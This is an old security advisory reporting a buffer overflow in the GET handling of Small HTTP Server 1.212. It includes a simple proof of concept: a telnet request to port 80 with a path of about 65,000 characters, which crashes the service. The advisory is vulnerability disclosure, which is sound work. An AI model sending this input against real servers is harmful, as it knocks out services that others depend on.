Remote DoS Attack in Small HTTP Server ver. 1.212 Vulnerability



Small HTTP


USSR Advisory Code:   USSR-2000047

Release Date:
June 16, 2000

Systems Affected:
Small HTTP Server ver. 1.212 (maybe others)


The Ussr Labs team has recently discovered a buffer overflow memory problem in the Small HTTP Server.

What happens is by preforming an attack with a malformed url information to port 80 it will cause the 
proccess containg the services to stop responding.

SPECIAL NOTE: That we take no responsibility for this code it is for educational purposes only.

The http Server (Port 80) service has a overflow in the GET command

[$ telnet 80
Connected to
Escape character is '^]'.
GET /[buffer]

Where [buffer] is aprox. 65000 characters.

and the process containg the service crash

Vendor Status:  

Vendor   Url:
Program  Url:

Related Links:

Underground Security Systems Research

Eeye, Attrition, w00w00, beavuh, Rhino9,, ADM, HNN, Technotronic and Wiretrip.

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